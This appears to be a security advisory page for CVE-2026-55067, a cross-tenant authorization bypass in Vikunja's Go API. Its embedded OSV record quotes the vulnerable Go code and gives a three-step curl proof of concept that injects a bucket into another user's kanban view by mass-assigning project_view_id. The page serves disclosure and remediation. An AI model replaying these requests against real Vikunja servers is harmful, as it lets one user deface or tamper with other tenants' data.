CVE-2026-55067: Code.vikunja.io/api Vikunja Vulnerable To Authenticated Cross-tenant Vulnerability
MODERATECVE-2026-55067 is a MODERATE (CVSS 5.0) vikunja vulnerable to authenticated cross-tenant vulnerability (CWE-639: Authorization Bypass Through User-Controlled Key) affecting Code.vikunja.io/api libraries in the Go ecosystem. The issue involves vikunja vulnerable to authenticated cross-tenant kanban-bucket relocation via `project_view_id` mass-assignment. Remediation is available by upgrading affected packages to version 2.4.0.
CVE-2026-55067 at a Glance
Security Impact
CVSS: 5.0
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N).
How to Fix CVE-2026-55067
To remediate this vulnerability, upgrade all affected Code.vikunja.io/api dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade code.vikunja.io/api to 2.4.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for code.vikunja.io/api
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-55067, inspect your project dependencies for Code.vikunja.io/api:
inspect dependencies for code.vikunja.io/api
Analyze the terminal output to locate any version of Code.vikunja.io/api in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.4.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-639: Authorization Bypass Through User-Controlled Key, where the system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. In Code.vikunja.io/api, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-55067 Affected Code.vikunja.io/api Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
code.vikunja.io/api
|
Go |
< 2.4.0
|
2.4.0
|
References
Frequently Asked Questions
What is CVE-2026-55067?
Which Code.vikunja.io/api versions are affected?
What version fixes CVE-2026-55067?
Is code.vikunja.io/api affected?
What is the CVSS score of CVE-2026-55067?
What CWE is associated with CVE-2026-55067?
How can I check Go dependencies for CVE-2026-55067?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-569v-q83c-3j3g",
"modified" : "2026-08-28T16:55:16Z",
"published" : "2026-08-28T16:55:16Z",
"aliases" : [ "CVE-2026-55067" ],
"summary" : "Vikunja vulnerable to authenticated cross-tenant kanban-bucket relocation via `project_view_id` mass-assignment",
"details" : "## Summary\n\n`POST /api/v1/projects/{project}/views/{view}/buckets/{bucket}` mass-assigns the request body's `project_view_id` onto the bucket row. The permission check only verifies that the URL-supplied bucket already belongs to the URL-supplied `(project, view)` pair; the body's `project_view_id` is never validated. Any signed-in user can therefore take one of their own buckets and graft it into any other tenant's kanban view, with attacker-controlled title and the attacker's account as `created_by`.\n\nThis vulnerability was found using an LLM, and manually verified against latest (2.3.0).\n\n## Vulnerable code\n\n`pkg/models/kanban.go` (lines 348-359):\n\n```go\nfunc (b *Bucket) Update(s *xorm.Session, _ web.Auth) (err error) {\n _, err = s.\n Where(\"id = ?\", b.ID).\n Cols(\n \"title\",\n \"limit\",\n \"position\",\n \"project_view_id\", // mass-assigned from the request body\n ).\n Update(b)\n return\n}\n```\n\n`Bucket.CanUpdate` (`canDoBucket`) only validates that the URL-supplied `{bucket}` belongs to the URL-supplied `{project}/{view}`. The body's `project_view_id` reaches `Update` unchecked and is written through.\n\n## Proof of Concept\n\n**Prerequisites:** Two registered users (`attacker` and `victim`). In the IDs below: attacker's project is `2`, kanban view `8`; victim's project is `1`, kanban view `4`.\n\n**Step 1:** Attacker creates a fresh bucket in their own project.\n\n```bash\ncurl -s -X PUT 'http://localhost:13456/api/v1/projects/2/views/8/buckets' \\\n -H 'Authorization: Bearer <attacker_token>' \\\n -H 'Content-Type: application/json' \\\n -d '{\"title\":\"PWNED BUCKET\"}' | jq '.id'\n# Returns: 7\n```\n\n**Step 2:** Attacker updates bucket `7`, supplying `project_view_id` = victim's view ID. The URL chain is the attacker's, so `CanUpdate` passes; the body field is written through without further checks.\n\n```bash\ncurl -s -X POST 'http://localhost:13456/api/v1/projects/2/views/8/buckets/7' \\\n -H 'Authorization: Bearer <attacker_token>' \\\n -H 'Content-Type: application/json' \\\n -d '{\"title\":\"PWNED BUCKET\",\"limit\":0,\"project_view_id\":4}' | jq '{id,title,project_view_id}'\n# Returns: {\n# \"id\": 7,\n# \"title\": \"PWNED BUCKET\",\n# \"project_view_id\": 4\n# }\n```\n\n**Step 3:** Victim lists buckets in their own view; the attacker's bucket is now there, owned by the attacker.\n\n```bash\ncurl -s 'http://localhost:13456/api/v1/projects/1/views/4/buckets' \\\n -H 'Authorization: Bearer <victim_token>' | jq '[.[]|{id,title,created_by:.created_by.username}]'\n# Returns: [\n# {\"id\":7,\"title\":\"PWNED BUCKET\",\"created_by\":\"attacker\"},\n# {\"id\":1,\"title\":\"To-Do\",\"created_by\":\"victim\"},\n# {\"id\":2,\"title\":\"Doing\",\"created_by\":\"victim\"},\n# {\"id\":3,\"title\":\"Done\",\"created_by\":\"victim\"}\n# ]\n```\n\nAfter relocation the attacker can no longer reach the row (it lives in the victim's view), so only the victim can delete the graffiti. `project_view_id` is a sequential integer, so any tenant's view can be targeted by enumeration.\n\n## Impact\n\nAny signed-in user can inject arbitrary-titled buckets into any other tenant's kanban view. Most likely exploitation here would be graffiti/defacement.\n\n## Fix\n\nIn `(b *Bucket) Update`, drop `project_view_id` from the `Cols(...)` allowlist (mass-assignment fix) and reject body payloads where `project_view_id != bucket.ProjectViewID`. If legitimate \"move bucket between views\" is a needed feature, expose it as a dedicated endpoint that calls `CanUpdate` against both the source and destination view.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "code.vikunja.io/api"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.4.0"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 2.3.0"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-569v-q83c-3j3g"
}, {
"type" : "WEB",
"url" : "https://github.com/go-vikunja/vikunja/pull/3239"
}, {
"type" : "WEB",
"url" : "https://github.com/go-vikunja/vikunja/commit/b31d606b8879ebe98fbb2ac5d8b3066b86f59868"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/go-vikunja/vikunja"
}, {
"type" : "WEB",
"url" : "https://github.com/go-vikunja/vikunja/releases/tag/v2.4.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-639" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-08-28T16:55:16Z",
"nvd_published_at" : null
}
}